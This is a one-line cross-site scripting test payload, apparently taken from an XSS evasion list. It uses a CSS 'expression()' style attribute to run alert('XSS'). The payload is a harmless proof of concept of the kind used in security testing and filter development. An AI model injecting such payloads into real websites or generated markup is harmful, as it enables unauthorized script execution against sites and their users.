<XSS STYLE="xss:expression(alert('XSS'))">